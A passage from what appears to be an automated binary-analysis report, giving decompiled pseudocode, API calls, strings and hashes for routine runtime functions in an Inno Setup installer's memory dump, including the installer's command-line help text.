				if(_t50 == 0 ||  *(_t66 + 0x2c) != 0) {
					_t29 = 0;
				} else {
					_t29 = 1;
				}
				 *((char*)(_t66 + 0xd)) = _t29;
				if( *(_t66 + 0x2c) != 0) {
					 *((intOrPtr*)(_t66 + 8)) = GetCurrentThread();
					 *((intOrPtr*)(_t66 + 4)) = GetCurrentThreadId();
				} else {
					if(_a4 == 0) {
						_t12 = _t66 + 4; // 0x495548
						 *((intOrPtr*)(_t66 + 8)) = E004078E0(0, E004970B8, 0, _t12, 4, _t66);
					} else {
						_t9 = _t66 + 4; // 0x495548
						 *((intOrPtr*)(_t66 + 8)) = E004078E0(0, E004970B8, _a4, _t9, 0x10004, _t66);
					}
					if( *((intOrPtr*)(_t66 + 8)) == 0) {
						E0041DFB0(GetLastError(), _t49, 0, _t66);
						_v16 = _v20;
						_v12 = 0x11;
						_t55 =  *0x4ba740; // 0x40ea6c
						E0041F35C(_t49, _t55, 1, _t64, _t66, 0,  &_v16);
						E0040711C();
					}
				}
				_pop(_t59);
				 *[fs:eax] = _t59;
				_push(0x4972ac);
				return E00407A20( &_v20);
			}

0x004971ac
0x004971ac
0x004971ac
0x004971ad
0x004971af
0x004971b6
0x004971bb
0x004971bd
0x004971c0
0x004971c0
0x004971c5
0x004971c7
0x004971ca
0x004971ce
0x004971cf
0x004971d4
0x004971d7
0x004971de
0x004971e3
0x004971e9
0x004971ee
0x004971f6
0x004971fa
0x004971fa
0x004971fa
0x004971fc
0x00497203
0x00497284
0x0049728c
0x00497205
0x00497209
0x0049722c
0x0049723e
0x0049720b
0x00497211
0x00497224
0x00497224
0x00497245
0x00497251
0x00497259
0x0049725c
0x00497266
0x00497273
0x00497278
0x00497278
0x00497245
0x00497291
0x00497294
0x00497297
0x004972a4

APIs

GetLastError.KERNEL32(00000000,004972A5,?,00495544,00000000), ref: 00497247

Part of subcall function 004078E0: CreateThread.KERNEL32(?,?,Function_000078A8,00000000,?,?), ref: 0040793A

GetCurrentThread.KERNEL32 ref: 0049727F
GetCurrentThreadId.KERNEL32 ref: 00497287

Strings

0@G, xrefs: 0049726E
l@, xrefs: 00497266
XtI, xrefs: 00497214, 0049722F

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Current$CreateErrorLast
String ID: 0@G$XtI$l@
API String ID: 3539746228-385768319
Opcode ID: a4dc03de5b91be95089a9569e035fcfb45136a4f5e23dfed5c7514759ebadc63
Instruction ID: 1159262e71bebd7e921a745d602ab6fc0c684f98ff6f66721209a3575415716a
Opcode Fuzzy Hash: a4dc03de5b91be95089a9569e035fcfb45136a4f5e23dfed5c7514759ebadc63
Instruction Fuzzy Hash: 2B31E2309287449EDB10EBB68C427AB7FE49F09304F40C87EE455973C1DA3CA545C799

Uniqueness

Uniqueness Score: -1.00%

Function 00406424, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E00406424(void* __edx) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char* _t23;
				intOrPtr _t29;
				intOrPtr _t39;
				void* _t41;
				void* _t43;
				intOrPtr _t44;

				_t41 = _t43;
				_t44 = _t43 + 0xfffffff4;
				_v16 = 0;
				if(GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetLogicalProcessorInformation") == 0) {
					L10:
					_v8 = 0x40;
					goto L11;
				} else {
					_t23 =  &_v16;
					_push(_t23);
					_push(0);
					L00403808();
					if(_t23 != 0 || GetLastError() != 0x7a) {
						goto L10;
					} else {
						_v12 = E004053F0(_v16);
						_push(_t41);
						_push(E004064D2);
						_push( *[fs:edx]);
						 *[fs:edx] = _t44;
						_push( &_v16);
						_push(_v12);
						L00403808();
						_t29 = _v12;
						if(_v16 <= 0) {
							L8:
							_pop(_t39);
							 *[fs:eax] = _t39;
							_push(E004064D9);
							return E0040540C(_v12);
						} else {
							while( *((short*)(_t29 + 4)) != 2 ||  *((char*)(_t29 + 8)) != 1) {
								_t29 = _t29 + 0x18;
								_v16 = _v16 - 0x18;
								if(_v16 > 0) {
									continue;
								} else {
									goto L8;
								}
								goto L12;
							}
							_v8 =  *(_t29 + 0xa) & 0x0000ffff;
							E00407210();
							L11:
							return _v8;
						}
					}
				}
				L12:
			}

0x00406425
0x00406427
0x0040642c
0x00406446
0x004064d9
0x004064d9
0x00000000
0x0040644c
0x0040644c
0x0040644f
0x00406450
0x00406452
0x00406459
0x00000000
0x00406465
0x0040646d
0x00406472
0x00406473
0x00406478
0x0040647b
0x00406481
0x00406485
0x00406486
0x0040648b
0x00406492
0x004064bc
0x004064be
0x004064c1
0x004064c4
0x004064d1
0x00406494
0x00406494
0x004064af
0x004064b2
0x004064ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004064ba
0x004064a5
0x004064a8
0x004064e0
0x004064e6
0x004064e6
0x00406492
0x00406459
0x00000000

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetLogicalProcessorInformation), ref: 00406439
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040643F
GetLastError.KERNEL32(00000000,?,GetLogicalProcessorInformation), ref: 0040645B

Strings

GetLogicalProcessorInformation, xrefs: 0040642F
kernel32.dll, xrefs: 00406434
@, xrefs: 004064D9

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressErrorHandleLastModuleProc
String ID: @$GetLogicalProcessorInformation$kernel32.dll
API String ID: 4275029093-79381301
Opcode ID: 60cbd49ddd200d6d95d4e054eb85e0ada012a2fb0b751d352b1ba5f8ec496b5f
Instruction ID: 8f5f9a4eb212fab3c4852abc810e80ead921d34dcce11bc4c58bc7a6251dba94
Opcode Fuzzy Hash: 60cbd49ddd200d6d95d4e054eb85e0ada012a2fb0b751d352b1ba5f8ec496b5f
Instruction Fuzzy Hash: 52116371D00208BEDB20EFA5D84576EBBA8EB40705F1184BBF815F32C1D67D9A908B1D

Uniqueness

Uniqueness Score: -1.00%

Function 004076B8, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
fileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004076B8(void* __ecx) {
				long _v4;
				void* _t3;
				void* _t9;

				if( *0x4bb058 == 0) {
					if( *0x4b7032 == 0) {
						_push(0);
						_push("Error");
						_push("Runtime error     at 00000000");
						_push(0);
						L00403780();
					}
					return _t3;
				} else {
					if( *0x4bb344 == 0xd7b2 &&  *0x4bb34c > 0) {
						 *0x4bb35c();
					}
					WriteFile(GetStdHandle(0xfffffff5), "Runtime error     at 00000000", 0x1d,  &_v4, 0);
					_t9 = E00408240(0x40774c);
					return WriteFile(GetStdHandle(0xfffffff5), _t9, 2,  &_v4, 0);
				}
			}

0x004076c0
0x00407726
0x00407728
0x0040772a
0x0040772f
0x00407734
0x00407736
0x00407736
0x0040773c
0x004076c2
0x004076cb
0x004076db
0x004076db
0x004076f7
0x0040770a
0x0040771e
0x0040771e

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?,?,0040788A,004054FF,00405546,?,?,0040555F), ref: 004076F1
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?,?,0040788A,004054FF,00405546,?,?), ref: 004076F7
GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?,?), ref: 00407712
WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00407770,?,?), ref: 00407718

Strings

Error, xrefs: 0040772A
Runtime error at 00000000, xrefs: 004076EA, 0040772F

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleWrite
String ID: Error$Runtime error at 00000000
API String ID: 3320372497-2970929446
Opcode ID: 06894f85802f1aca0c877f66b17294aabd6ee15dfccdef8be12070d3d0c4ead6
Instruction ID: db14fa18f2a627875cbdcf208ba1e0af1765c14dc112cf76e17f9611cef7a876
Opcode Fuzzy Hash: 06894f85802f1aca0c877f66b17294aabd6ee15dfccdef8be12070d3d0c4ead6
Instruction Fuzzy Hash: DFF0C2A1A8C24079FA2077A94C47F5A269C8740B16F108A3FF610B61D1C7FD6584937E

Uniqueness

Uniqueness Score: -1.00%

Function 00420524, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00420524(void* __ebx, void* __esi) {
				intOrPtr _t4;
				intOrPtr _t6;

				if(E0041FF68(6, 0) == 0) {
					_t4 = E0040E1A8(__ebx, __esi, GetModuleHandleW(L"NTDLL.DLL"), L"RtlCompareUnicodeString");
					 *0x4be914 = _t4;
					 *0x4be910 = E00420428;
					return _t4;
				} else {
					_t6 = E0040E1A8(__ebx, __esi, GetModuleHandleW(L"kernel32.dll"), L"CompareStringOrdinal");
					 *0x4be910 = _t6;
					return _t6;
				}
			}

0x00420532
0x0042055f
0x00420564
0x00420569
0x00420573
0x00420534
0x00420544
0x00420549
0x0042054e
0x0042054e

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,CompareStringOrdinal,004B5A2E,00000000,004B5A41), ref: 0042053E

Part of subcall function 0040E1A8: GetProcAddress.KERNEL32(?,00423116), ref: 0040E1D2

GetModuleHandleW.KERNEL32(NTDLL.DLL,RtlCompareUnicodeString,004B5A2E,00000000,004B5A41), ref: 00420559

Strings

RtlCompareUnicodeString, xrefs: 0042054F
NTDLL.DLL, xrefs: 00420554
kernel32.dll, xrefs: 00420539
CompareStringOrdinal, xrefs: 00420534

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule$AddressProc
String ID: CompareStringOrdinal$NTDLL.DLL$RtlCompareUnicodeString$kernel32.dll
API String ID: 1883125708-3870080525
Opcode ID: b7bf267469631706014ef5b6a976724c1e29590bd579973413919bb6c8384525
Instruction ID: 4ba185d4141586243d2650af69d43cb091b5da9faf927984522c9bbe9ad7037f
Opcode Fuzzy Hash: b7bf267469631706014ef5b6a976724c1e29590bd579973413919bb6c8384525
Instruction Fuzzy Hash: 04E08CF0B4232036E644FB672C0769929C51B85709BD04A3F7004BA1D7DBBE42659E2E

Uniqueness

Uniqueness Score: -1.00%

Function 0042931C, Relevance: 9.1, APIs: 6, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0042931C(short* __eax, intOrPtr __ecx, signed short* __edx) {
				char _v260;
				char _v768;
				char _v772;
				short* _v776;
				intOrPtr _v780;
				char _v784;
				signed int _v788;
				signed short* _v792;
				char _v796;
				char _v800;
				intOrPtr* _v804;
				signed short* _v808;
				void* __ebp;
				signed char _t55;
				signed int _t64;
				void* _t72;
				intOrPtr* _t83;
				void* _t103;
				void* _t105;
				void* _t108;
				void* _t109;
				intOrPtr* _t118;
				void* _t122;
				intOrPtr _t123;
				char* _t124;
				void* _t125;

				_t110 = __ecx;
				_v780 = __ecx;
				_v808 = __edx;
				_v776 = __eax;
				if((_v808[0] & 0x00000020) == 0) {
					E00428FDC(0x80070057);
				}
				_t55 =  *_v808 & 0x0000ffff;
				if((_t55 & 0x00000fff) != 0xc) {
					_push(_v808);
					_push(_v776);
					L00427254();
					return E00428FDC(_v776);
				} else {
					if((_t55 & 0x00000040) == 0) {
						_v792 = _v808[4];
					} else {
						_v792 =  *(_v808[4]);
					}
					_v788 =  *_v792 & 0x0000ffff;
					_t103 = _v788 - 1;
					if(_t103 < 0) {
						L9:
						_push( &_v772);
						_t64 = _v788;
						_push(_t64);
						_push(0xc);
						L00427828();
						_t123 = _t64;
						if(_t123 == 0) {
							E00428D34(_t110);
						}
						E00429278(_v776);
						 *_v776 = 0x200c;
						 *((intOrPtr*)(_v776 + 8)) = _t123;
						_t105 = _v788 - 1;
						if(_t105 < 0) {
							L14:
							_t107 = _v788 - 1;
							if(E00429294(_v788 - 1, _t125) != 0) {
								L00427840();
								E00428FDC(_v792);
								L00427840();
								E00428FDC( &_v260);
								_v780(_t123,  &_v260,  &_v800, _v792,  &_v260,  &_v796);
							}
							_t72 = E004292C4(_t107, _t125);
						} else {
							_t108 = _t105 + 1;
							_t83 =  &_v768;
							_t118 =  &_v260;
							do {
								 *_t118 =  *_t83;
								_t118 = _t118 + 4;
								_t83 = _t83 + 8;
								_t108 = _t108 - 1;
							} while (_t108 != 0);
							do {
								goto L14;
							} while (_t72 != 0);
							return _t72;
						}
					} else {
						_t109 = _t103 + 1;
						_t122 = 0;
						_t124 =  &_v772;
						do {
							_v804 = _t124;
							_push(_v804 + 4);
							_t23 = _t122 + 1; // 0x1
							_push(_v792);
							L00427830();
							E00428FDC(_v792);
							_push( &_v784);
							_t26 = _t122 + 1; // 0x1
							_push(_v792);
							L00427838();
							E00428FDC(_v792);
							 *_v804 = _v784 -  *((intOrPtr*)(_v804 + 4)) + 1;
							_t122 = _t122 + 1;
							_t124 = _t124 + 8;
							_t109 = _t109 - 1;
						} while (_t109 != 0);
						goto L9;
					}
				}
			}

0x0042931c
0x00429328
0x0042932e
0x00429334
0x00429344
0x0042934b
0x0042934b
0x00429356
0x00429364
0x004294ef
0x004294f6
0x004294f7
0x00000000
0x0042936a
0x0042936d
0x0042938b
0x0042936f
0x0042937a
0x0042937a
0x0042939a
0x004293a6
0x004293a9
0x00429416
0x0042941c
0x0042941d
0x00429423
0x00429424
0x00429426
0x0042942b
0x0042942f
0x00429431
0x00429431
0x0042943c
0x00429447
0x00429452
0x0042945b
0x0042945e
0x0042947a
0x00429481
0x0042948c
0x004294a3
0x004294a8
0x004294bc
0x004294c1
0x004294d4
0x004294d4
0x004294dd
0x00429460
0x00429460
0x00429461
0x00429467
0x0042946d
0x0042946f
0x00429471
0x00429474
0x00429477
0x00429477
0x0042947a
0x00000000
0x00000000
0x00000000
0x0042947a
0x004293ab
0x004293ab
0x004293ac
0x004293ae
0x004293b4
0x004293b6
0x004293c5
0x004293c6
0x004293d0
0x004293d1
0x004293d6
0x004293e1
0x004293e2
0x004293ec
0x004293ed
0x004293f2
0x0042940d
0x0042940f
0x00429410
0x00429413
0x00429413
0x00000000
0x004293b4
0x004293a9

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 004293D1
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 004293ED
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 00429426
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 004294A3
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 004294BC
VariantCopy.OLEAUT32(?,?), ref: 004294F7

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 098dc979d013d57468a629589b458cb88fc05e19e5f0a5a7df6b54d31b1502c0
Instruction ID: 2fed5c09d90993a71d142947efe00684c7910c2ed580f9cb9a97fb5731140b2d
Opcode Fuzzy Hash: 098dc979d013d57468a629589b458cb88fc05e19e5f0a5a7df6b54d31b1502c0
Instruction Fuzzy Hash: 4B51EE75A012299FCB21DB59D981BDAB3FCAF0C304F8041DAF548E7211D634AF858F65

Uniqueness

Uniqueness Score: -1.00%

Function 004AFA44, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 44
windowCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E004AFA44(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				void* _t24;
				intOrPtr _t28;
				void* _t31;
				void* _t32;
				intOrPtr _t35;

				_t32 = __esi;
				_t31 = __edi;
				_push(0);
				_push(0);
				_t24 = __eax;
				_push(_t35);
				_push(0x4aface);
				_push( *[fs:eax]);
				 *[fs:eax] = _t35;
				if(( *0x4c1d61 & 0x00000001) == 0) {
					E00407A20( &_v8);
				} else {
					E00407E48( &_v8, L"/ALLUSERS\r\nInstructs Setup to install in administrative install mode.\r\n/CURRENTUSER\r\nInstructs Setup to install in non administrative install mode.\r\n");
				}
				_push(L"The Setup program accepts optional command line parameters.\r\n\r\n/HELP, /?\r\nShows this information.\r\n/SP-\r\nDisables the This will install... Do you wish to continue? prompt at the beginning of Setup.\r\n/SILENT, /VERYSILENT\r\nInstructs Setup to be silent or very silent.\r\n/SUPPRESSMSGBOXES\r\nInstructs Setup to suppress message boxes.\r\n/LOG\r\nCauses Setup to create a log file in the user\'s TEMP directory.\r\n/LOG=\"filename\"\r\nSame as /LOG, except it allows you to specify a fixed path/filename to use for the log file.\r\n/NOCANCEL\r\nPrevents the user from cancelling during the installation process.\r\n/NORESTART\r\nPrevents Setup from restarting the system following a successful installation, or after a Preparing to Install failure that requests a restart.\r\n/RESTARTEXITCODE=exit code\r\nSpecifies a custom exit code that Setup is to return when the system needs to be restarted.\r\n/CLOSEAPPLICATIONS\r\nInstructs Setup to close applications using files that need to be updated.\r\n/NOCLOSEAPPLICATIONS\r\nPrevents Setup from closing applications using files that need to be updated.\r\n/FORCECLOSEAPPLICATIONS\r\nInstructs Setup to force close when closing applications.\r\n/FORCENOCLOSEAPPLICATIONS\r\nPrevents Setup from force closing when closing applications.\r\n/LOGCLOSEAPPLICATIONS\r\nInstructs Setup to create extra logging when closing applications for debugging purposes.\r\n/RESTARTAPPLICATIONS\r\nInstructs Setup to restart applications.\r\n/NORESTARTAPPLICATIONS\r\nPrevents Setup from restarting applications.\r\n/LOADINF=\"filename\"\r\nInstructs Setup to load the settings from the specified file after having checked the command line.\r\n/SAVEINF=\"filename\"\r\nInstructs Setup to save installation settings to the specified file.\r\n/LANG=language\r\nSpecifies the internal name of the language to use.\r\n/DIR=\"x:\\dirname\"\r\nOverrides the default directory name.\r\n/GROUP=\"folder name\"\r\nOverrides the default folder name.\r\n/NOICONS\r\nInstructs Setup to initially check the Don\'t create a Start Menu folder check box.\r\n/TYPE=type name\r\nOverrides the default setup type.\r\n/COMPONENTS=\"comma separated list of component names\"\r\nOverrides the default component settings.\r\n/TASKS=\"comma separated list of task names\"\r\nSpecifies a list of tasks that should be initially selected.\r\n/MERGETASKS=\"comma separated list of task names\"\r\nLike the /TASKS parameter, except the specified tasks will be merged with the set of tasks that would have otherwise been selected by default.\r\n/PASSWORD=password\r\nSpecifies the password to use.\r\n");
				_push(_v8);
				_push(_t24);
				_push(0x4b0f94);
				_push(L"For more detailed information, please visit https://jrsoftware.org/ishelp/index.php?topic=setupcmdline");
				E004087C4( &_v12, _t24, 5, _t31, _t32);
				MessageBoxW(0, E004084EC(_v12), L"Setup", 0x10);
				_pop(_t28);
				 *[fs:eax] = _t28;
				_push(E004AFAD5);
				return E00407A80( &_v12, 2);
			}

0x004afa44
0x004afa44
0x004afa47
0x004afa49
0x004afa4c
0x004afa50
0x004afa51
0x004afa56
0x004afa59
0x004afa63
0x004afa77
0x004afa65
0x004afa6d
0x004afa6d
0x004afa7c
0x004afa81
0x004afa84
0x004afa85
0x004afa8a
0x004afa97
0x004afaae
0x004afab5
0x004afab8
0x004afabb
0x004afacd

APIs

MessageBoxW.USER32(00000000,00000000,Setup,00000010), ref: 004AFAAE

Strings

Setup, xrefs: 004AFA9E
For more detailed information, please visit https://jrsoftware.org/ishelp/index.php?topic=setupcmdline, xrefs: 004AFA8A
/ALLUSERSInstructs Setup to install in administrative install mode./CURRENTUSERInstructs Setup to install in non administrat, xrefs: 004AFA68
The Setup program accepts optional command line parameters./HELP, /?Shows this information./SP-Disables the This will in, xrefs: 004AFA7C

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Message
String ID: /ALLUSERSInstructs Setup to install in administrative install mode./CURRENTUSERInstructs Setup to install in non administrat$For more detailed information, please visit https://jrsoftware.org/ishelp/index.php?topic=setupcmdline$Setup$The Setup program accepts optional command line parameters./HELP, /?Shows this information./SP-Disables the This will in
API String ID: 2030045667-3391638011
Opcode ID: 66245cf56300a1c7c541050b9d52e7f7cee767bf73c9c42da64b4bca2bf40a85
Instruction ID: 307a18092975e57fce7d36cb0845ad1ef4e0a75d88e156d2955b45763d379f25
Opcode Fuzzy Hash: 66245cf56300a1c7c541050b9d52e7f7cee767bf73c9c42da64b4bca2bf40a85
Instruction Fuzzy Hash: D701A230748308BBE711E7D1CD52FDEB6A8D74AB04FA0047BB904B25D1D6BC6A09852D

Uniqueness

Uniqueness Score: -1.00%

Function 0042F9B8, Relevance: 7.8, APIs: 5, Instructions: 335
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0042F9B8(signed short* __eax, signed int __ecx, signed short* __edx, void* __edi, void* __fp0) {
				signed int _v8;
				signed char _v9;
				signed int _v12;
				signed int _v14;
				void* _v20;
				void* _v24;
				signed short* _v28;
				signed short* _v32;
				signed int _v48;
				void* __ebx;
				void* __ebp;
				signed int _t150;
				signed int _t272;
				intOrPtr _t328;
				intOrPtr _t331;
				intOrPtr _t339;
				intOrPtr _t347;
				intOrPtr _t355;
				void* _t360;
				void* _t362;
				intOrPtr _t363;

				_t367 = __fp0;
				_t358 = __edi;
				_t360 = _t362;
				_t363 = _t362 + 0xffffffd4;
				_v8 = __ecx;
				_v32 = __edx;
				_v28 = __eax;
				_v9 = 1;
				_t272 =  *_v28 & 0x0000ffff;
				if((_t272 & 0x00000fff) >= 0x10f) {
					_t150 =  *_v32 & 0x0000ffff;
					if(_t150 != 0) {
						if(_t150 != 1) {
							if(E00430860(_t272,  &_v20) != 0) {
								_push( &_v14);
								_t273 =  *_v20;
								if( *((intOrPtr*)( *_v20 + 8))() == 0) {
									_t275 =  *_v32 & 0x0000ffff;
									if(( *_v32 & 0xfff) >= 0x10f) {
										if(E00430860(_t275,  &_v24) != 0) {
											_push( &_v12);
											_t276 =  *_v24;
											if( *((intOrPtr*)( *_v24 + 4))() == 0) {
												E00428BF0(0xb);
												goto L41;
											} else {
												if(( *_v28 & 0x0000ffff) == _v12) {
													_t143 = ( *((intOrPtr*)( *_v24 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
													_v9 =  *(0x4b93d2 + _v8 * 2 + _t143) & 0x000000ff;
													goto L41;
												} else {
													_push( &_v48);
													L00427244();
													_push(_t360);
													_push(0x42fdb0);
													_push( *[fs:eax]);
													 *[fs:eax] = _t363;
													_t289 = _v12 & 0x0000ffff;
													E004299A4( &_v48, _t276, _v12 & 0x0000ffff, _v28, __edi, __fp0);
													if((_v48 & 0x0000ffff) != _v12) {
														E00428AF8(_t289);
													}
													_t131 = ( *((intOrPtr*)( *_v24 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
													_v9 =  *(0x4b93d2 + _v8 * 2 + _t131) & 0x000000ff;
													_pop(_t328);
													 *[fs:eax] = _t328;
													_push(0x42fde5);
													return E00429278( &_v48);
												}
											}
										} else {
											E00428BF0(0xb);
											goto L41;
										}
									} else {
										_push( &_v48);
										L00427244();
										_push(_t360);
										_push(0x42fcf7);
										_push( *[fs:eax]);
										 *[fs:eax] = _t363;
										_t294 =  *_v32 & 0x0000ffff;
										E004299A4( &_v48, _t275,  *_v32 & 0x0000ffff, _v28, __edi, __fp0);
										if(( *_v32 & 0x0000ffff) != _v48) {
											E00428AF8(_t294);
										}
										_v9 = E0042F7D0( &_v48, _v8, _v32, _t358, _t360, _t367);
										_pop(_t331);
										 *[fs:eax] = _t331;
										_push(0x42fde5);
										return E00429278( &_v48);
									}
								} else {
									if(( *_v32 & 0x0000ffff) == _v14) {
										_t95 = ( *((intOrPtr*)( *_v20 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
										_v9 =  *(0x4b93d2 + _v8 * 2 + _t95) & 0x000000ff;
										goto L41;
									} else {
										_push( &_v48);
										L00427244();
										_push(_t360);
										_push(0x42fc52);
										_push( *[fs:eax]);
										 *[fs:eax] = _t363;
										_t299 = _v14 & 0x0000ffff;
										E004299A4( &_v48, _t273, _v14 & 0x0000ffff, _v32, __edi, __fp0);
										if((_v48 & 0x0000ffff) != _v14) {
											E00428AF8(_t299);
										}
										_t83 = ( *((intOrPtr*)( *_v20 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
										_v9 =  *(0x4b93d2 + _v8 * 2 + _t83) & 0x000000ff;
										_pop(_t339);
										 *[fs:eax] = _t339;
										_push(0x42fde5);
										return E00429278( &_v48);
									}
								}
							} else {
								E00428BF0(__ecx);
								goto L41;
							}
						} else {
							_v9 = E0042F550(_v8, 2);
							goto L41;
						}
					} else {
						_v9 = E0042F53C(0, 1);
						goto L41;
					}
				} else {
					if(_t272 != 0) {
						if(_t272 != 1) {
							if(E00430860( *_v32 & 0x0000ffff,  &_v24) != 0) {
								_push( &_v12);
								_t282 =  *_v24;
								if( *((intOrPtr*)( *_v24 + 4))() == 0) {
									_push( &_v48);
									L00427244();
									_push(_t360);
									_push(0x42fb63);
									_push( *[fs:eax]);
									 *[fs:eax] = _t363;
									_t306 =  *_v28 & 0x0000ffff;
									E004299A4( &_v48, _t282,  *_v28 & 0x0000ffff, _v32, __edi, __fp0);
									if((_v48 & 0xfff) !=  *_v28) {
										E00428AF8(_t306);
									}
									_v9 = E0042F7D0(_v28, _v8,  &_v48, _t358, _t360, _t367);
									_pop(_t347);
									 *[fs:eax] = _t347;
									_push(0x42fde5);
									return E00429278( &_v48);
								} else {
									if(( *_v28 & 0x0000ffff) == _v12) {
										_t44 = ( *((intOrPtr*)( *_v24 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
										_v9 =  *(0x4b93d2 + _v8 * 2 + _t44) & 0x000000ff;
										goto L41;
									} else {
										_push( &_v48);
										L00427244();
										_push(_t360);
										_push(0x42facc);
										_push( *[fs:eax]);
										 *[fs:eax] = _t363;
										_t311 = _v12 & 0x0000ffff;
										E004299A4( &_v48, _t282, _v12 & 0x0000ffff, _v28, __edi, __fp0);
										if((_v48 & 0xfff) != _v12) {
											E00428AF8(_t311);
										}
										_t32 = ( *((intOrPtr*)( *_v24 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
										_v9 =  *(0x4b93d2 + _v8 * 2 + _t32) & 0x000000ff;
										_pop(_t355);
										 *[fs:eax] = _t355;
										_push(0x42fde5);
										return E00429278( &_v48);
									}
								}
							} else {
								E00428BF0(__ecx);
								goto L41;
							}
						} else {
							_v9 = E0042F550(_v8, 0);
							goto L41;
						}
					} else {
						_v9 = E0042F53C(1, 0);
						L41:
						return _v9 & 0x000000ff;
					}
				}
			}

0x0042f9b8
0x0042f9b8
0x0042f9b9
0x0042f9bb
0x0042f9bf
0x0042f9c2
0x0042f9c5
0x0042f9c8
0x0042f9cf
0x0042f9dc
0x0042fb6d
0x0042fb73
0x0042fb8a
0x0042fbac
0x0042fbbb
0x0042fbc7
0x0042fbce
0x0042fc88
0x0042fc95
0x0042fd0a
0x0042fd19
0x0042fd25
0x0042fd2c
0x0042fde0
0x00000000
0x0042fd32
0x0042fd3c
